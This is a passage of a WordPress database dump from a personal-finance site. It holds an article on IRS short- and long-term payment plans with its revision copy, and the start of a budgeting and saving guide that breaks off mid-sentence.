-->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A short-term tax payment plan gives taxpayers the option to pay off their tax debt within 180 days.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Long-term payment plan</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A long-term tax payment plan, also sometimes called an installment agreement, gives taxpayers who may need more than 180 days to settle their tax bill the option to pay off their tax debt in monthly installments for up to six years.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Which plan makes sense for you depends on how much you owe, and how quickly you think you can pay your balance off. As long as you\'re keeping up with your plan, the agency usually won\'t issue a tax levy or a tax lien.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Who is eligible for an IRS installment agreement?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The IRS says most taxpayers qualify, and you can apply online for a short- or long-term plan via the IRS\' Online Payment Agreement tool if you meet the following criteria for each plan:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>If you owe less than $100,000</strong> in combined tax, penalties and interest, you’ve filed all your tax returns, and you can finish paying off your tax debt within 180 days, you are likely eligible for a short-term payment plan.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>If you owe $50,000 or less </strong>in combined tax, penalties and interest, you’ve filed all your tax returns, and you need more than 180 days to pay your tax bill, you may be eligible for a long-term payment plan.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>If the tool determines that you\'re ineligible to set up a plan online, the IRS says you may still be able to apply by mail or by phone (more on that below).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to set up a payment plan with the IRS</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you qualify for a payment plan, the fastest way to apply is online, through the IRS\' application portal, but there are also paper and phone options as well<sup>[2]</sup>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Applying for an IRS payment plan online</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you’ve previously registered for an online IRS account to get a tax transcript or an identity protection PIN, you can log into the IRS\' Online Payment Agreement tool with the same user ID and password. If not, you’ll need to create an ID.me account to confirm your identity, which means having the following information on hand:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A valid email address and access to your email.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Photo identification (driver\'s license, state ID, passport).</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your Social Security number or individual tax ID number.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Access to a smartphone or webcam to verify your identity.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Access to a phone or email for multi-factor authentication<sup>[3]</sup>.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>If you need assistance with verifying your information or require accessibility help, visit the ID.me help page for more information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Applying for an IRS payment plan by phone or mail</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Another way to apply for a payment plan is to file Form 9465 with the agency. Alternatively, you can also call the IRS\' main phone line — 800-829-1040 — to set up a new plan or revise an existing one. The number for business payment plans is different: 800-829-4933.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does the IRS charge interest on payment plans?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Yes. Getting on an IRS payment plan doesn’t get you out of interest and penalties for late payment; those accrue until your balance is zero. However, per the IRS, the failure-to-pay penalty is cut in half when on a payment plan<sup>[5]</sup>. This means you\'d have a .25% late-payment penalty tacked onto your bill, rather than a .5% penalty.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to calculate your monthly payment</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In general, if you have a long-term payment plan, you can choose how much you pay every month. That is, the IRS will ask you what you can afford. However, you must choose a payment amount that will pay off your debt within 72 months<sup>[6]</sup>. To get a rough estimate of what you can expect to pay per month, divide what you owe by 72.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What are the fees for an IRS payment plan?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The cost of an IRS payment plan depends on which plan you choose, how you apply for the plan, and whether you qualify for a fee reduction.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re a low-income taxpayer, the IRS waives the user fee if you agree to let it make automatic withdrawals from your bank account for the payments. If you qualify as a low-income taxpayer but are unable to make electronic debit payments, the IRS will reimburse you for the user fee when you pay off your balance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Generally, to qualify as a low-income applicant your adjusted gross income is at or below 250% of the federal poverty level. (See if you qualify on IRS Form 13844.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><thead><tr><th><strong>Payment plan type</strong></th><th><strong>Maximum you can owe to qualify</strong></th><th><strong>Setup fee &amp; payment methods</strong></th></tr></thead><tbody><tr><td><strong>Short-term payment plan</strong> (180 days or less)</td><td>$100,000 in combined tax, penalties and interest.</td><td>$0 to apply online, by phone, by mail or in person. Pay balance by:<br>- Withdrawals from your checking account or savings account (Direct Pay),<br>- E-pay online or by phone via the IRS\' Electronic Federal Tax Payment System, or<br>- Check, money order or debit/credit card.</td></tr><tr><td><strong>Long-term payment plan</strong> (more than 180 days)</td><td>$50,000 in combined tax, penalties and interest.</td><td>If you pay through automatic debit withdrawals:<br>- $31 setup fee to <a rel=\"noreferrer noopener\" href=\"https://www.irs.gov/payments/online-payment-agreement-application\" target=\"_blank\">apply online</a>.<br>- $107 setup fee to apply by phone, mail or in person.<br>- Setup fee may be waived for low-income taxpayers.<br>If you pay by another method (e.g., Direct Pay, EFTPS or money order):<br>- $130 setup fee to <a rel=\"noreferrer noopener\" href=\"https://www.irs.gov/payments/online-payment-agreement-application\" target=\"_blank\">apply online.</a><br>- $225 setup fee to apply by phone, mail or in person.<br>- $43 setup fee for low-income taxpayers; may later be reimbursed.</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A few other fee-related details to note</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>If you make your payments with a debit or credit card, you’ll have to pay a processing fee. The charge for debit cards runs $2 and some change per payment; the charge for credit cards can be nearly 2% of the payment.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>If you owe more than $25,000, you have to make your payments via automatic withdrawals from a bank account (“direct debit”).</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How do I make changes to an IRS installment agreement?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The IRS\' payment agreement tool lets you change your monthly payment amount, change the monthly due date, sign up for automatic withdrawals and reinstate a payment plan you’ve fallen behind on.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>If your new monthly plan does not meet IRS requirements, you may need to adjust the payment amount.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>If you can\'t afford the monthly payment amount, you may need to fill out Form 9465 and Form 433-F (collection information statement).</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Can I apply for an IRS payment plan myself?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Yes. You are not required to pay a third party to apply for a payment plan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you do hire a tax-relief company to help you settle your debt, you may have to give it power of attorney to apply for an IRS payment plan on your behalf. Proceed with caution and do your research, as the Federal Trade Commission warns on its website:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“The truth is that most taxpayers are unlikely to qualify for the programs these scammers advertise. In many cases, these companies don\'t settle your tax debt. Some don\'t even send your paperwork to the IRS to apply for programs to help you. These companies often leave people even further in debt.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.nerdwallet.com/article/taxes/how-to-set-up-irs-payment-plan\">click here.</a></p>\n<!-- /wp:paragraph -->','IRS Payment Plan: How It Works, How to Apply','','publish','closed','closed','','irs-payment-plan-how-it-works-how-to-apply','','','2024-04-28 09:13:36','2024-04-28 09:13:36','',0,'https://smartinsurance.tips/?p=3960',0,'post','',0),(3961,1,'2024-04-28 09:08:30','2024-04-28 09:08:30','','Untitled-13','','inherit','closed','closed','','untitled-13-5','','','2024-04-28 09:08:30','2024-04-28 09:08:30','',3960,'http://smartinsurance.tips/wp-content/uploads/2024/04/Untitled-13.png',0,'attachment','image/png',0),(3962,1,'2024-04-28 09:13:34','2024-04-28 09:13:34','<!-- wp:paragraph -->\n<p>Eligible taxpayers can apply online to set up an IRS installment agreement and pay their tax bills over time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3961,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/04/Untitled-13-1024x1024.png\" alt=\"\" class=\"wp-image-3961\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Nerdy takeaways</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>You can apply for a payment plan online via the IRS\' Payment Agreement tool.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The IRS offers short-term and long-term payment plans that allow taxpayers to pay their bill over time.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>While interest and penalties still accrue on taxes unpaid after the tax deadline, the late-payment penalty is cut in half for those on a payment plan.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>An unexpected tax bill is a surprise few people want to encounter. And when that balance turns out to be more than you can afford, it\'s easy to feel overwhelmed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thankfully, the IRS has tax payment plans that can help you tackle your bill over time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is an IRS payment plan?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>An IRS payment plan is an agreement you make with the agency to pay your federal tax bill over time. You can set one up online, by phone or in person. The IRS offers short-term and long-term payment plan options.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Short-term payment plan</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A short-term tax payment plan gives taxpayers the option to pay off their tax debt within 180 days.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Long-term payment plan</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A long-term tax payment plan, also sometimes called an installment agreement, gives taxpayers who may need more than 180 days to settle their tax bill the option to pay off their tax debt in monthly installments for up to six years.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Which plan makes sense for you depends on how much you owe, and how quickly you think you can pay your balance off. As long as you\'re keeping up with your plan, the agency usually won\'t issue a tax levy or a tax lien.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Who is eligible for an IRS installment agreement?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The IRS says most taxpayers qualify, and you can apply online for a short- or long-term plan via the IRS\' Online Payment Agreement tool if you meet the following criteria for each plan:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>If you owe less than $100,000</strong> in combined tax, penalties and interest, you’ve filed all your tax returns, and you can finish paying off your tax debt within 180 days, you are likely eligible for a short-term payment plan.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>If you owe $50,000 or less </strong>in combined tax, penalties and interest, you’ve filed all your tax returns, and you need more than 180 days to pay your tax bill, you may be eligible for a long-term payment plan.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>If the tool determines that you\'re ineligible to set up a plan online, the IRS says you may still be able to apply by mail or by phone (more on that below).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to set up a payment plan with the IRS</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you qualify for a payment plan, the fastest way to apply is online, through the IRS\' application portal, but there are also paper and phone options as well<sup>[2]</sup>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Applying for an IRS payment plan online</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you’ve previously registered for an online IRS account to get a tax transcript or an identity protection PIN, you can log into the IRS\' Online Payment Agreement tool with the same user ID and password. If not, you’ll need to create an ID.me account to confirm your identity, which means having the following information on hand:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A valid email address and access to your email.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Photo identification (driver\'s license, state ID, passport).</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your Social Security number or individual tax ID number.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Access to a smartphone or webcam to verify your identity.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Access to a phone or email for multi-factor authentication<sup>[3]</sup>.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>If you need assistance with verifying your information or require accessibility help, visit the ID.me help page for more information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Applying for an IRS payment plan by phone or mail</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Another way to apply for a payment plan is to file Form 9465 with the agency. Alternatively, you can also call the IRS\' main phone line — 800-829-1040 — to set up a new plan or revise an existing one. The number for business payment plans is different: 800-829-4933.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does the IRS charge interest on payment plans?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Yes. Getting on an IRS payment plan doesn’t get you out of interest and penalties for late payment; those accrue until your balance is zero. However, per the IRS, the failure-to-pay penalty is cut in half when on a payment plan<sup>[5]</sup>. This means you\'d have a .25% late-payment penalty tacked onto your bill, rather than a .5% penalty.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to calculate your monthly payment</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In general, if you have a long-term payment plan, you can choose how much you pay every month. That is, the IRS will ask you what you can afford. However, you must choose a payment amount that will pay off your debt within 72 months<sup>[6]</sup>. To get a rough estimate of what you can expect to pay per month, divide what you owe by 72.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What are the fees for an IRS payment plan?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The cost of an IRS payment plan depends on which plan you choose, how you apply for the plan, and whether you qualify for a fee reduction.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re a low-income taxpayer, the IRS waives the user fee if you agree to let it make automatic withdrawals from your bank account for the payments. If you qualify as a low-income taxpayer but are unable to make electronic debit payments, the IRS will reimburse you for the user fee when you pay off your balance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Generally, to qualify as a low-income applicant your adjusted gross income is at or below 250% of the federal poverty level. (See if you qualify on IRS Form 13844.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><thead><tr><th><strong>Payment plan type</strong></th><th><strong>Maximum you can owe to qualify</strong></th><th><strong>Setup fee &amp; payment methods</strong></th></tr></thead><tbody><tr><td><strong>Short-term payment plan</strong> (180 days or less)</td><td>$100,000 in combined tax, penalties and interest.</td><td>$0 to apply online, by phone, by mail or in person. Pay balance by:<br>- Withdrawals from your checking account or savings account (Direct Pay),<br>- E-pay online or by phone via the IRS\' Electronic Federal Tax Payment System, or<br>- Check, money order or debit/credit card.</td></tr><tr><td><strong>Long-term payment plan</strong> (more than 180 days)</td><td>$50,000 in combined tax, penalties and interest.</td><td>If you pay through automatic debit withdrawals:<br>- $31 setup fee to <a rel=\"noreferrer noopener\" href=\"https://www.irs.gov/payments/online-payment-agreement-application\" target=\"_blank\">apply online</a>.<br>- $107 setup fee to apply by phone, mail or in person.<br>- Setup fee may be waived for low-income taxpayers.<br>If you pay by another method (e.g., Direct Pay, EFTPS or money order):<br>- $130 setup fee to <a rel=\"noreferrer noopener\" href=\"https://www.irs.gov/payments/online-payment-agreement-application\" target=\"_blank\">apply online.</a><br>- $225 setup fee to apply by phone, mail or in person.<br>- $43 setup fee for low-income taxpayers; may later be reimbursed.</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A few other fee-related details to note</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>If you make your payments with a debit or credit card, you’ll have to pay a processing fee. The charge for debit cards runs $2 and some change per payment; the charge for credit cards can be nearly 2% of the payment.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>If you owe more than $25,000, you have to make your payments via automatic withdrawals from a bank account (“direct debit”).</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How do I make changes to an IRS installment agreement?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The IRS\' payment agreement tool lets you change your monthly payment amount, change the monthly due date, sign up for automatic withdrawals and reinstate a payment plan you’ve fallen behind on.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>If your new monthly plan does not meet IRS requirements, you may need to adjust the payment amount.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>If you can\'t afford the monthly payment amount, you may need to fill out Form 9465 and Form 433-F (collection information statement).</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Can I apply for an IRS payment plan myself?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Yes. You are not required to pay a third party to apply for a payment plan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you do hire a tax-relief company to help you settle your debt, you may have to give it power of attorney to apply for an IRS payment plan on your behalf. Proceed with caution and do your research, as the Federal Trade Commission warns on its website:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“The truth is that most taxpayers are unlikely to qualify for the programs these scammers advertise. In many cases, these companies don\'t settle your tax debt. Some don\'t even send your paperwork to the IRS to apply for programs to help you. These companies often leave people even further in debt.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.nerdwallet.com/article/taxes/how-to-set-up-irs-payment-plan\">click here.</a></p>\n<!-- /wp:paragraph -->','IRS Payment Plan: How It Works, How to Apply','','inherit','closed','closed','','3960-revision-v1','','','2024-04-28 09:13:34','2024-04-28 09:13:34','',3960,'https://smartinsurance.tips/?p=3962',0,'revision','',0),(3963,1,'2024-04-29 04:33:35','2024-04-29 04:33:35','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3964,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/04/Untitled-14-1024x1024.png\" alt=\"\" class=\"wp-image-3964\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">Budgeting and saving money don\'t come naturally to many people for obvious reasons. Spending money on nonessentials is so easy, even if you\'re committed to a well-laid spending plan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">Still, getting on track with a realistic budget and squirreling money away may not be as difficult as you think. Begin by taking the time to create a budget, which can help you reorganize your finances, prioritize spending, and manage debt, thus allowing you to make progress toward your long-term financial goals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-4\">Make a Classic Budget</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-5\">Budgeting your money is the cornerstone of a sound financial plan, and seeing all of the numbers in black and white can offer valuable perspective on where your money is going and where you could put it to better use.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">A budget can help you spot areas where you\'re spending more than you realize. It can also be set up to allow for the occasional indulgence as well as unforeseen emergencies. You have lots of reasons to set aside a few hours to build a classic budget, especially when you can do it in four practically painless steps.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol id=\"mntl-sc-block_1-0-9\"><!-- wp:list-item -->\n<li><strong>Gather into one place all of your electronic or paper bills, receipts, pay stubs, bank statements&nbsp;</strong>and any other record of income or expenses for at least a month. Or keep track of monthly income and expenditures as they happen.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Create a budget worksheet</strong>, using a budget template from Google Sheets, an Excel spreadsheet, or paper and pen. List all of your income after taxes—for example, employee and freelance income, investment income, and interest earned on any savings accounts. Then list all expenses—for example, rent or mortgage payments, credit card payments, installment loan payments, grocery receipts and utility bills.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Add up each set of figures,</strong>&nbsp;and subtract the expense total from the income total to get a general picture of your financial health. If your income total is larger than your expense total—congratulations—you just found more money for saving, investing and paying down your debt. If your expense total is larger than your income total, all is not lost, but you\'ll have to make some choices about where you spend some of your money going forward if you want to balance your budget.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Drill down into your expenses</strong>&nbsp;and further categorize them into fixed, variable and discretionary expenses.&nbsp;<em>Fixed expenses&nbsp;</em>(such as your rent) remain the same from month to month and thus often constitute the basis of your budget.&nbsp;<em>Variable expenses,&nbsp;</em>such as utility bills, can typically be lowered with behavioral tweaks like turning off the lights as you leave a room, and&nbsp;<em>discretionary expenses</em>&nbsp;consist of wants rather than needs and provide the most opportunities for saving.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-11\">Adopt the 50-20-30 Approach</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-12\">You have alternatives if you don\'t want to make a classic budget. For example, you could consider structuring your plan according to the<strong> </strong>50-20-30 rule. Under this approach to budgeting, you spend:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-14\"><!-- wp:list-item -->\n<li>50% of your after-tax income on housing, food, and other necessities</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>20% on paying down debt or increasing savings</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>30% on whatever you want—discretionary spending</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-16\">Although this plan is simple, some critics say that it allows too much discretionary spending and doesn\'t emphasize debt reduction or savings enough.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-18\">Use Apps</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-19\">Another alternative to a classic budget is a budget app that can be downloaded to your phone, tablet, or computer. You generally link your app of choice to your checking and credit card accounts, and the app tracks your spending and generates a monthly report by spending category.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-21\">Budget apps can often be set up to alert you when a payment is coming due, when an account balance is getting too low, or if there\'s suspicious activity in your account. The cost of most apps ranges from zero to several dollars a month, although some offer free introductory periods so that you can try before you buy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-23\">Put Your Budget to Work</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-24\">Once you figure out how much money you\'re spending and where you\'re in a better position, take the necessary steps to put your financial future front and center.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-26\">Reduce Spending</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-27\">Start by cutting spending on items you don\'t need. For example, do you need a $5 coffee every morning? Could you make do with a smaller, older car? Instead of an expensive vacation, would you be willing to try a stay-at-home vacation (\"staycation\")?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-29\">These types of choices are very personal, so there\'s no right or wrong answer. But laying them out on the table can at least help you understand your priorities and some of the options you might not have realized you had for saving money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-31\">Get a Handle on Your Debt</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-32\">One aspect that seems to come with adulthood is accumulating some form of debt. Credit cards, student loans, car loans and mortgage payments are common types of debt. Credit cards and other forms of debt can be an essential part of your financial toolbox because they build your credit history, but you should exercise care when using them. Understanding the difference between good debt and bad debt can go a long way toward making sure you use credit wisely and maintain a good credit history.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-34\">At the same time, you should always look for ways to make your debt less expensive while you\'re paying it off. Transferring your credit card balances to a card with a 0% APR or refinancing your student loans, for example, could reduce the amount you pay in interest charges and accelerate your debt payoff plans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-36\">To build wealth, you have to start somewhere. The ability to save money is essential, but the first step in saving is spending less than you earn. This point may seem obvious, but it\'s often more easily said than done. Fortunately, even if your budget doesn\'t allow much wiggle room, dozens of ways to save money are available.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-38\">Reduce Your Tax Burden</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-39\">Nobody likes paying taxes, but they\'re an important aspect of any financial plan. Even if you don\'t make much money, you might be surprised to learn how certain tax strategies and decisions can affect your finances.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-41\">Learning how to minimize the impact of taxes on your finances can ensure that more money is going into your pocket and moving you toward your financial goals. Tax planning includes claiming all of the deductions and tax credits you\'re eligible for, and maximizing contributions to tax-advantaged accounts, such as an employer\'s 401(k) plan, an IRA, or a Health Savings Account (HSA), as often as possible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-43\">Set Up Automatic Savings</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-44\">One of the best and most convenient paths toward wealth accumulation is to sign up for automatic savings. Open a savings account, and then link your checking account to it so that an affordable, fixed amount is 